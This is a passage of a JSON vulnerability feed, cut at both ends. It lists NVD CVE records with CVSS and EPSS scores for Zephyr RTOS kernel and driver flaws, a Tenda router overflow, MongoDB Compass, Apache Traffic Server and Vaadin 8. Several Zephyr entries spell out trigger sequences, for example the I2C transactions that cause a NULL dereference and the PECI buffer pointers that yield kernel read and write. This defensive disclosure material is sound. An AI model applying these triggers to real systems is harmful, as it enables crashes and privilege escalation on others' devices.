subsys/pmci/mctp/mctp_i2c_gpio_target.c emulates a small pseudo-register file, where the bus controller first writes a register number and then writes or reads payload bytes. The selected register (b->reg_addr) and the data-phase flag (b->rxtx) were never cleared when the controller issued an I2C STOP, so after a completed transfer the target still had a data register selected while the packet buffer that register refers to had already been consumed and set to NULL by mctp_i2c_gpio_target_stop().\n\nA controller on the bus can re-enter the same branch of mctp_i2c_gpio_target_stop() with a NULL buffer using two ordinary transactions and no authentication: first a normal packet write to MCTP_I2C_GPIO_RX_MSG_ADDR followed by STOP (which delivers and frees b->rx_pkt), then a bare read transaction followed by STOP. The failing read_requested() call leaves the stale state untouched and the I2C driver still delivers the STOP callback, which then calls mctp_bus_rx() with a NULL packet. The symmetric case exists on the transmit side, where the stale MCTP_I2C_GPIO_TX_MSG_ADDR selection dereferences b->tx_pkt->end after b->tx_pkt has been cleared and additionally signals b->tx_complete a second time, causing the next outbound packet to be dropped.\n\nThe dereference happens in the I2C target interrupt handler, so on any target that traps accesses to address 0 the result is a fatal exception and a device reset or halt — a denial of service inflicted by any device able to act as controller on the shared management bus (for example compromised firmware on a peer MCTP endpoint or on the BMC). On parts where address 0 is readable, the impact degrades to a malformed packet buffer being handed to the MCTP stack and lost transmit packets. No attacker-controlled value is written and no confidentiality or integrity boundary is crossed.\n\nThe fix resets b->reg_addr to MCTP_I2C_GPIO_INVALID_ADDR and clears b->rxtx at every STOP, so a new register must be selected before any data phase can run again. Only builds that opt into the experimental CONFIG_MCTP subsystem with CONFIG_MCTP_I2C_GPIO_TARGET=y are affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:17:04.060Z","updatedAt":"2026-10-23T22:17:01.197Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79976","asOf":"2026-10-23T22:17:01.197Z"},"epss":{"probability":0.00256,"percentile":0.17052,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79976","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79976","type":"primary","publishedAt":"2026-10-21T19:17:04.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78118","cveId":"CVE-2026-78118","aliases":[],"kind":"vulnerability","title":"The kernel helper z_waitq_head() (kernel/include/wait_q.h) reads the head of a thread wait queue, but on SMP systems it was called from several places without holding the...","summary":"The kernel helper z_waitq_head() (kernel/include/wait_q.h) reads the head of a thread wait queue, but on SMP systems it was called from several places without holding the scheduler spinlock _sched_spinlock that serializes wait-queue mutation. The consequential call site is z_timer_expiration_handler() in kernel/timer.c, which held only the timer subsystem lock timer_lock while reading timer->wait_q and then unpending, setting the return value of, and readying the thread it obtained. halt_thread() in kernel/sched.c removes an aborted thread from its wait queue while holding only _sched_spinlock, so the two paths are not mutually exclusive.\n\nWhen the last waiter is removed on another CPU inside that window, sys_dlist_peek_head() can return the list sentinel — a pointer into the k_timer object itself — typed as a struct k_thread * (with CONFIG_WAITQ_SCALABLE, rb_get_min() can return an arbitrary node of a tree being restructured), or it can return a pointer to a thread that has already been unpended and, for dynamically allocated threads, freed. The handler then calls unpend_thread_no_timeout(), which performs a sys_dlist_remove() through pointers read from that object, and arch_thread_return_value_set(), which writes unconditionally through the pointer.\n\nThe result is out-of-bounds and use-after-free writes in supervisor context, plus scheduler state corruption; a milder outcome is a thread that has re-pended elsewhere being woken with a success return value from an unrelated blocking call. All of the primitives needed to drive the interleaving — k_timer_start(), k_timer_status_sync(), k_thread_create() and k_thread_abort() — are system calls, so with CONFIG_USERSPACE enabled an unprivileged user-mode thread can attempt the race against kernel-owned data.\n\nExploitation requires a multi-CPU build (CONFIG_MP_MAX_NUM_CPUS greater than one; the affected region is a no-op on uniprocessor targets), local code execution, and winning a narrow timing window, so the practical outcome is most often a kernel crash rather than controlled corruption. The fix splits the helper into z_waitq_head_locked() for callers that already hold the scheduler spinlock and a z_waitq_head() th","detail":"The kernel helper z_waitq_head() (kernel/include/wait_q.h) reads the head of a thread wait queue, but on SMP systems it was called from several places without holding the scheduler spinlock _sched_spinlock that serializes wait-queue mutation. The consequential call site is z_timer_expiration_handler() in kernel/timer.c, which held only the timer subsystem lock timer_lock while reading timer->wait_q and then unpending, setting the return value of, and readying the thread it obtained. halt_thread() in kernel/sched.c removes an aborted thread from its wait queue while holding only _sched_spinlock, so the two paths are not mutually exclusive.\n\nWhen the last waiter is removed on another CPU inside that window, sys_dlist_peek_head() can return the list sentinel — a pointer into the k_timer object itself — typed as a struct k_thread * (with CONFIG_WAITQ_SCALABLE, rb_get_min() can return an arbitrary node of a tree being restructured), or it can return a pointer to a thread that has already been unpended and, for dynamically allocated threads, freed. The handler then calls unpend_thread_no_timeout(), which performs a sys_dlist_remove() through pointers read from that object, and arch_thread_return_value_set(), which writes unconditionally through the pointer.\n\nThe result is out-of-bounds and use-after-free writes in supervisor context, plus scheduler state corruption; a milder outcome is a thread that has re-pended elsewhere being woken with a success return value from an unrelated blocking call. All of the primitives needed to drive the interleaving — k_timer_start(), k_timer_status_sync(), k_thread_create() and k_thread_abort() — are system calls, so with CONFIG_USERSPACE enabled an unprivileged user-mode thread can attempt the race against kernel-owned data.\n\nExploitation requires a multi-CPU build (CONFIG_MP_MAX_NUM_CPUS greater than one; the affected region is a no-op on uniprocessor targets), local code execution, and winning a narrow timing window, so the practical outcome is most often a kernel crash rather than controlled corruption. The fix splits the helper into z_waitq_head_locked() for callers that already hold the scheduler spinlock and a z_waitq_head() that acquires it, and brings the timer expiration handler's head read, unpend and ready under a single LOCK_SCHED_SPINLOCK region.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:17:03.787Z","updatedAt":"2026-10-23T22:17:00.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78118","asOf":"2026-10-23T22:17:00.450Z"},"epss":{"probability":0.00104,"percentile":0.01029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78118","type":"primary","publishedAt":"2026-10-21T19:17:03.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19676","cveId":"CVE-2026-19676","aliases":[],"kind":"vulnerability","title":"The user-mode verifier for the peci_transfer() system call, z_vrfy_peci_transfer() in drivers/peci/peci_handlers.c, checked only the device object permission and copied the...","summary":"The user-mode verifier for the peci_transfer() system call, z_vrfy_peci_transfer() in drivers/peci/peci_handlers.c, checked only the device object permission and copied the caller-supplied struct peci_msg with k_usermode_from_copy(). That copy validates the outer structure only; the buf pointers and len values inside the embedded struct peci_buf members tx_buffer and rx_buffer remained fully caller-controlled and were passed unchecked to the driver.\n\nEvery in-tree PECI driver dereferences those pointers in supervisor mode: peci_npcx_transfer() in drivers/peci/peci_npcx.c and peci_it8xxx2_transfer() in drivers/peci/peci_ite_it8xxx2.c copy hardware bytes into rx_buffer.buf[i] and read command bytes out of tx_buffer.buf[i], and peci_xec_read()/peci_xec_write() in drivers/peci/peci_mchp_xec.c do the same with no bound on rx_buffer.len at all. A user-mode thread that has been granted the PECI device object — the normal way an application exposes a device under CONFIG_USERSPACE — could therefore point rx_buffer.buf at kernel data structures and have the driver write hardware-supplied bytes there, or point tx_buffer.buf at kernel memory and have its contents pushed onto the PECI/eSPI out-of-band bus.\n\nThe impact is a full user-mode-to-kernel escape: an arbitrary kernel write primitive (integrity and, through it, code execution at supervisor privilege), an arbitrary kernel read disclosed to a PECI bus observer, and a trivially reachable supervisor-mode fault if an unmapped address is supplied. Exploitation requires CONFIG_USERSPACE=y, one of the PECI drivers enabled (CONFIG_PECI_NPCX, CONFIG_PECI_XEC or CONFIG_PECI_ITE_IT8XXX2), and local code execution in a user-mode thread holding the PECI device.\n\nThe fix adds K_SYSCALL_MEMORY_READ() and K_SYSCALL_MEMORY_WRITE() checks over the two embedded buffers, with a size_add_overflow() guard on the frame-check-sequence byte accounted for in the RX length.","detail":"The user-mode verifier for the peci_transfer() system call, z_vrfy_peci_transfer() in drivers/peci/peci_handlers.c, checked only the device object permission and copied the caller-supplied struct peci_msg with k_usermode_from_copy(). That copy validates the outer structure only; the buf pointers and len values inside the embedded struct peci_buf members tx_buffer and rx_buffer remained fully caller-controlled and were passed unchecked to the driver.\n\nEvery in-tree PECI driver dereferences those pointers in supervisor mode: peci_npcx_transfer() in drivers/peci/peci_npcx.c and peci_it8xxx2_transfer() in drivers/peci/peci_ite_it8xxx2.c copy hardware bytes into rx_buffer.buf[i] and read command bytes out of tx_buffer.buf[i], and peci_xec_read()/peci_xec_write() in drivers/peci/peci_mchp_xec.c do the same with no bound on rx_buffer.len at all. A user-mode thread that has been granted the PECI device object — the normal way an application exposes a device under CONFIG_USERSPACE — could therefore point rx_buffer.buf at kernel data structures and have the driver write hardware-supplied bytes there, or point tx_buffer.buf at kernel memory and have its contents pushed onto the PECI/eSPI out-of-band bus.\n\nThe impact is a full user-mode-to-kernel escape: an arbitrary kernel write primitive (integrity and, through it, code execution at supervisor privilege), an arbitrary kernel read disclosed to a PECI bus observer, and a trivially reachable supervisor-mode fault if an unmapped address is supplied. Exploitation requires CONFIG_USERSPACE=y, one of the PECI drivers enabled (CONFIG_PECI_NPCX, CONFIG_PECI_XEC or CONFIG_PECI_ITE_IT8XXX2), and local code execution in a user-mode thread holding the PECI device.\n\nThe fix adds K_SYSCALL_MEMORY_READ() and K_SYSCALL_MEMORY_WRITE() checks over the two embedded buffers, with a size_add_overflow() guard on the frame-check-sequence byte accounted for in the RX length.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:17:02.650Z","updatedAt":"2026-10-23T22:16:59.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19676","asOf":"2026-10-23T22:16:59.867Z"},"epss":{"probability":0.00144,"percentile":0.03652,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19676&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19676","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19676","type":"primary","publishedAt":"2026-10-21T19:17:02.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19676&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19676, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114268","cveId":"CVE-2026-114268","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Tenda BE3L Pro 16.03.60.62. Affected by this vulnerability is the function formWifiBasicSet of the file /goform/WifiBasicSet.","summary":"A flaw has been found in Tenda BE3L Pro 16.03.60.62. Affected by this vulnerability is the function formWifiBasicSet of the file /goform/WifiBasicSet. This manipulation of the argument security_5g causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used.","detail":"A flaw has been found in Tenda BE3L Pro 16.03.60.62. Affected by this vulnerability is the function formWifiBasicSet of the file /goform/WifiBasicSet. This manipulation of the argument security_5g causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:17:00.780Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114268","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00511,"percentile":0.43303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114268&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114268","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114268","type":"primary","publishedAt":"2026-10-21T19:17:00.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114268&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114268, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114267","cveId":"CVE-2026-114267","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in SourceCodester Food Order Management System 1.0. Affected is an unknown function of the component Admin Endpoint.","summary":"A vulnerability was detected in SourceCodester Food Order Management System 1.0. Affected is an unknown function of the component Admin Endpoint. The manipulation results in missing authorization. The attack may be performed from remote. The exploit is now public and may be used.","detail":"A vulnerability was detected in SourceCodester Food Order Management System 1.0. Affected is an unknown function of the component Admin Endpoint. The manipulation results in missing authorization. The attack may be performed from remote. The exploit is now public and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:17:00.560Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114267","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00307,"percentile":0.23305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114267&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114267","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114267","type":"primary","publishedAt":"2026-10-21T19:17:00.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114267&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114267, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113870","cveId":"CVE-2026-113870","aliases":[],"kind":"vulnerability","title":"MongoDB Compass improperly escapes certain BSON values when converting a stored view’s aggregation pipeline into editable source.","summary":"MongoDB Compass improperly escapes certain BSON values when converting a stored view’s aggregation pipeline into editable source. When a user connects to a MongoDB deployment containing a specially crafted view and opens that view for editing, the values can cause arbitrary code to execute with the privileges of the user running Compass.","detail":"MongoDB Compass improperly escapes certain BSON values when converting a stored view’s aggregation pipeline into editable source. When a user connects to a MongoDB deployment containing a specially crafted view and opens that view for editing, the values can cause arbitrary code to execute with the privileges of the user running Compass.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:17:00.110Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113870","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00238,"percentile":0.1476,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113870&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113870","type":"primary","publishedAt":"2026-10-21T19:17:00.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113870&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113870, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111804","cveId":"CVE-2026-111804","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server's experimental wasm plugin has a use-after-free in its transaction-close handler and forwards unvalidated guest-supplied metric IDs to the internal stats API.","summary":"Apache Traffic Server's experimental wasm plugin has a use-after-free in its transaction-close handler and forwards unvalidated guest-supplied metric IDs to the internal stats API.\n\n\n\nThis issue affects Apache Traffic Server: from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 10.1.5 or 10.2.1, which fix the issue.","detail":"Apache Traffic Server's experimental wasm plugin has a use-after-free in its transaction-close handler and forwards unvalidated guest-supplied metric IDs to the internal stats API.\n\n\n\nThis issue affects Apache Traffic Server: from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 10.1.5 or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:59.007Z","updatedAt":"2026-10-23T22:16:55.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111804","asOf":"2026-10-23T22:16:55.410Z"},"epss":{"probability":0.00298,"percentile":0.22321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111804&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111804","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111804","type":"primary","publishedAt":"2026-10-21T19:16:59.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111804&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111804, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110803","cveId":"CVE-2026-110803","aliases":[],"kind":"vulnerability","title":"VaadinService.requestEnd() in Vaadin Framework 8 locks the session and then reads the v-uiId request parameter outside the block that releases the lock.","summary":"VaadinService.requestEnd() in Vaadin Framework 8 locks the session and then reads the v-uiId request parameter outside the block that releases the lock. A request carrying a non-numeric v-uiId makes Integer.parseInt throw while the session lock is held, so the lock is never released and the container thread returns to its pool still owning it. Every later request to that session then blocks forever in VaadinService.lockSession(), and repeating the request exhausts the thread pool and takes the application down. No authentication is required: a session cookie, which any client obtains with a single request, is enough. Vaadin 10 and later are not affected, because Flow releases the lock in a finally block and does not read that parameter there, and Vaadin Framework 7 is not affected either.\n\n\nUsers of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:\n\nProduct version\nVaadin Framework 8.16.0 - 8.32.1\n\nMitigation\nUpgrade to 8.32.2\n\nVaadin Framework 7 and Vaadin 10 and later do not carry this behaviour and need no upgrade for this issue.\n\nArtifacts\nMaven coordinates / Vulnerable versions / Fixed version\ncom.vaadin:vaadin-server / 8.16.0 - 8.32.1 / >=8.32.2\ncom.vaadin:vaadin-server-mpr-jakarta / 8.18.0 - 8.32.1 / >=8.32.2","detail":"VaadinService.requestEnd() in Vaadin Framework 8 locks the session and then reads the v-uiId request parameter outside the block that releases the lock. A request carrying a non-numeric v-uiId makes Integer.parseInt throw while the session lock is held, so the lock is never released and the container thread returns to its pool still owning it. Every later request to that session then blocks forever in VaadinService.lockSession(), and repeating the request exhausts the thread pool and takes the application down. No authentication is required: a session cookie, which any client obtains with a single request, is enough. Vaadin 10 and later are not affected, because Flow releases the lock in a finally block and does not read that parameter there, and Vaadin Framework 7 is not affected either.\n\n\nUsers of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:\n\nProduct version\nVaadin Framework 8.16.0 - 8.32.1\n\nMitigation\nUpgrade to 8.32.2\n\nVaadin Framework 7 and Vaadin 10 and later do not carry this behaviour and need no upgrade for this issue.\n\nArtifacts\nMaven coordinates / Vulnerable versions / Fixed version\ncom.vaadin:vaadin-server / 8.16.0 - 8.32.1 / >=8.32.2\ncom.vaadin:vaadin-server-mpr-jakarta / 8.18.0 - 8.32.1 / >=8.32.2\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:58.567Z","updatedAt":"2026-10-22T15:37:23.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110803","asOf":"2026-10-22T15:37:23.163Z"},"epss":{"probability":0.00279,"percentile":0.20097,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110803&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110803","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110803","type":"primary","publishedAt":"2026-10-21T19:16:58.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 